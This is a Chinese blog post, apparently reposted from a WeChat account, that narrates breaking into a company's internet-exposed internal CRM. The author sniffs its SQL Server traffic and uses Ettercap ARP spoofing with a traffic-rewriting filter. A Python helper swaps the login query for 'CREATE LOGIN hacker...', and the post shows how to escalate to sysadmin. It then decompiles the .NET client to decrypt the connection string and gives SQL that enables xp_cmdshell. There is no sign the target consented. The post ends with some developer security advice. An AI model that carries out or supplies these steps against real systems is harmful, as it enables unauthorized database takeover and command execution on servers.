嗅探、中间人sql注入、反编译--例说桌面软件安全性问题

今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例。从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲出很多大道理用来装逼。So,我们开始吧。

1.1 一个公司内部专用的CRM系统

CRM系统是什么,如果你不知道的话,请自行Google。从数据的角度讲,它包含了一个公司所有往来客户的机密资料,如果泄露的话,后果很严重。下面是我无意中发现的一个网站,挂着一个CRM软件的下载链接。开始的时候我以为这个是一家卖CRM的公司,但是看着又不太像。

从网站的其他信息看,这仿佛是一个公司内部的CRM系统,于是我下载下来。

直接是一个登录界面,我先随便输入了一个用户名,没有输入密码。

然后我又输入了一个“admin”.

通过简单的尝试,我们可以确定这不是通用的CRM系统,是定制的,而且可以在外网使用,是否有绑定计算机不得而知,外网服务器IP不知道,是否直接连接外网的数据库服务器不知道。下面我们通过抓包来确认一下。

1.2 抓包分析

启动Wireshark,然后点击登录按钮,立即停止抓包,我发现了一连串的TDS包。

下面的信息确认这个软件是直接连接的数据库服务器,并没有通过后端的服务接口来返回数据。

查询语句很明显,但是也很奇怪,开发者在用用户名查询密码,然后要做的应该是用返回的密码和用户输入的密码进行比对。不过还好,它返回的密码是加密过的。

根据对sqlserver 的了解,在登录认证阶段,默认是加密传输的,并不会暴露用户名和密码,但是我们可以通过从数据包中分析出数据库的版本和服务器的基本信息。

访问的数据库名:

服务器名称:

当然从名字上看应该是win7系统,win7做服务器也比较奇葩。

数据版本:

SqlServer 10.0,应该是2008版本。

ok,现在简单总结下。通过抓包分析,我们得到了目标服务器的IP,打开的端口至少有80和1433,操作系统是win7,数据库为SQLServer2008,连接的目标数据库名称。下面我们有三个方向可以去努力,一个是找服务器和web应用的漏洞去渗透,第二个是继续挖掘软件本身的漏洞,第三个是攻击数据库。我们不知道当前应用登录数据库所使用的账号的权限是怎么样的,但是已经能够大致判断软件编写者的编程水平了,从编程水平去推断90%的可能性是sa用户或者sa权限。下面邪恶的想法来了,拦截并修改查询语句,新建一个数据库管理账号,然后使用工具直接连接上去,那么不就控制了数据库了吗,控制数据库后是不是还有机会控制服务器呢?试试便知。

1.3 测试中间人攻击

在本机就没必要中间人攻击了吧?不过我还是非常想利用Ettercap的Filter和replace功能,可以省掉很多麻烦。

首先在虚拟机里启动我的Kali Linux,然后在Kali里面启动Ettercap进行Arp欺骗测试(Ettercap的详细使用请google,这里简单说明)。

第一步,开启路由转发功能。

# 启用IP路由转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

第二步,在”/etc/ettercap/etter.conf”中配置转发。

第三步,arp欺骗。

第四步,测试。

使用driftnet 测试,是否能拦截主机的图片请求,如果能,证明arp欺骗成功。

1.4 FILTER和REPLACE数据构造

上面的测试证明了中间人攻击可行,那么下面我们开始构造Filter脚本。先创建一个1433.filter文件,输入如下内容:

search和replace的内容是需要我们按需构造的。search的内容我们可以在刚才的抓包工具中获取到,就是从数据库中查询密码的sql语句,replace的内容我这里想要它执行这样的语句:

CREATE LOGIN hacker WITH PASSWORD=’YouGotHacked1#’;

下面我们再回头看看要搜索的元素请求数据。

select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'

这份数据每个字符后面都填充了\x00的null byte,这是不可打印的,这意味着我们需要将内容全部转为16进制,然后填充\x00。

还有另一个问题要注意,替换的数据必须与原数据长度相同,否则会引起TCP数据传输中断。手工去做这件事略微有点麻烦,我还是写段小程序来搞定吧。

def stringToHex(string,padLength=0):

s1=[hex(ord(s)).replace("0x",'\\x') for s in string];

result='';

for s in s1:

result=result+s+'\\x00'

for num in range(padLength):

result=result+'\\x20\\x00'

return result;

def getHex(sourceSql,targetSql):

if len(sourceSql) <len(targetSql):

print('erro');

else:

padLength=len(sourceSql)-len(targetSql);

print(stringToHex(sourceSql));

print(stringToHex(targetSql,padLength));

def main():

source="select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'";

target="CREATE LOGIN hacker WITH PASSWORD='YouGotHacked1#'";

getHex(source,target);

if __name__=='__main__':

main();

一小段python,不是什么高明的代码就不解释了,最终filter脚本的样子:

下面我们将1433.filter文件生成为Ettercap能够使用的ef文件。

再次运行 Ettercap:

此时点击软件的登录按钮。

我们看到filter脚本打印出来的“success replace”,是不是真的成功了呢?

我使用vs2015的数据库连接工具,进行连接,奇迹就这么出现了:

连接成功。不过权限有点问题,我们可以再次修改Sql语句,提升它的权限,比如下面这句话:

ALTER SERVER ROLE sysadmin ADD MEMBER hacker;

这一步就不详细演示了,流程和上面一样。下面我们再回到另一个分支上,来找找软件本身的弱点。

1.5 反编译和解密

看了下面的内容,你一定会觉得我上面的操作都是瞎费劲,几分钟就解决问题了。这个例子确实是这样,不过上面的方法更通用一些,而且难度不高,是需要优先掌握的。

在软件的安装目录中,我首先看到了这样几个dll文件:

作为一名资深的.NET程序员,看到名字我就知道这是.NET写的程序了。于是先找到config文件,看看程序员是不是把数据库连接串写到这里了。

连接串确实在这里了,不过加密了。

但是到这里,我对这个程序已经没什么欲望了,即使它防护做的再好,那也是个.NET程序,是.NET程序,我就能攻破它(专业破解.NET,从未失败过)。不过令人失望的是,这个程序连基本代码混淆都没做,当然更没有壳,也没有代码加密。使用反编译工具随便点了点,然后拷贝了几段代码:

还是要忍不住吐槽这代码写的太渣了,不过成功的解密了连接串,成功登录了数据库,不是SA用户,但是却有sa权限,试了下xp_cmdshell,默认被数据库禁用了。执行下面的sql语句解封,

sp_configure 'show advanced options',1

reconfigure

go

sp_configure 'xp_cmdshell',1

reconfigure

go

1.6 小结—架构、权限管理、加密/解密、源码保护

好了,又到了装逼的环节了。这段总结是说给像我这样平时大道理一堆堆,写代码的时候一坨坨的程序员的。

首先,权限管理必须要严格控制。一个在公司内部使用的系统,为什么要挂到外网上,让任何人都可以下载?数据库权限控制,不同的系统划分不同的账号这是基本常识(我也经常不划分,就是为了偷懒),不同的账号控制不同的权限,甚至账号可以细化到读/写,表,存储过程级别。既然用户有角色划分,那么我们的代码必须也要有访问权限划分。不是在代码内部要访问数据的时候加个if-else,应该在调用还没开始就挡在外面。

第二,一个必须联网才能使用的程序,为什么不把数据访问,核心业务逻辑都放在远端的服务器上,公开接口给客户端调用呢?只有一个原因,程序员太懒。我就是搞winform的,你要老子搞什么服务端,不会!连基本的分层和服务划分都不注意,在基础架构这就留下了安全隐患,同时客户端的安全漏洞直接导致服务器被攻陷。

第三,.NET/Java 这类应用没有办法绝对防止反编译,只是时间问题。但是这不代表我们就不应该做程序保护,加壳,源码混淆,程序集加密,结合服务端获取进行rsa加密解密的动态程序集构建技术,是可以把90%的初级用户挡在门外的。城门大开就不对了。

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2016-05-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏美团技术团队

美团点评数据平台Kerberos优化实战

325100
来自专栏数据和云

DBLINK分布式事务失败又遭遇RAC热点块争用

编辑手记:在DBLINK中由于远端数据库无法正常执行分布式事务,又遭遇RAC热块争用,两者共同作用导致数据库严重故障。接下来我们从AWR报告分析入手,一步步分析...

32250
来自专栏大数据

如何查询InfluxDB

InfluxDB是一个很流行的基于时间序列的数据库,下面是这个数据库的最基本的查询命令。InfluxDB使用类SQL(实际上它就是一种特殊的“SQL”)的语言。

4.7K100
来自专栏CSDN技术头条

PostgreSQL并行查询是个什么“鬼"?

【导语】2016年4月,PostgreSQL社区发布了PostgreSQL 9.6 Beta 1,迎来了并行查询(Parallel Query)这个新特性。在追...

74750
来自专栏

短信任务源程序分享[.NET CF C#]

ShortMessageTask 短信任务v1.4 使用vs.net 2005 beta2写的,使用outlook.dll读取联系人,二进制文件保存信息 ...

10240
来自专栏架构师之路

mysql并行复制降低主从同步延时的思路与启示

一、缘起 mysql主从复制,读写分离是互联网用的非常多的mysql架构,主从复制最令人诟病的地方就是,在数据量较大并发量较大的场景下,主从延时会比较严重。 为...

41070
来自专栏linux驱动个人学习

V4L2 driver -整体架构

熟悉v4l2用户空间编程的都知道, v4l2编程主要是调用一系列的ioctl函数去对v4l2设备进行打开, 关闭, 查询, 设置等操作. v4l2设备是一个字符...

1.1K30
来自专栏帘卷西风的专栏

关于cocos2dx手游lua文件加密的解决方案

      很多使用cocos2dx+lua做游戏的同学,都会想到一个问题,我的游戏一旦发布,怎样才能保证的我脚本代码不被破解,不泄露代码。虽然这和开源、共享的...

15720
来自专栏微信终端开发团队的专栏

微信移动端数据库组件 WCDB 系列:数据库修复三板斧(二)

之前一篇文章《微信 SQLite 数据库修复实践》介绍了微信对SQLite数据库修复以及降低损坏率的实践, 这次再深入介绍一下微信数据库修复的具体方案和发展历程...

67400
来自专栏杨建荣的学习笔记

关于Oracle的技术问答 (r4笔记第85天)

今天和Oracle的一个资深前辈聊了下,聊了不少技术的问题,他也来了兴致,随机提了几个问题来问我,发现看似简单的问题还是有不少的干货,很多东西似懂非懂其实还是没...

42350

扫码关注云+社区

领取腾讯云代金券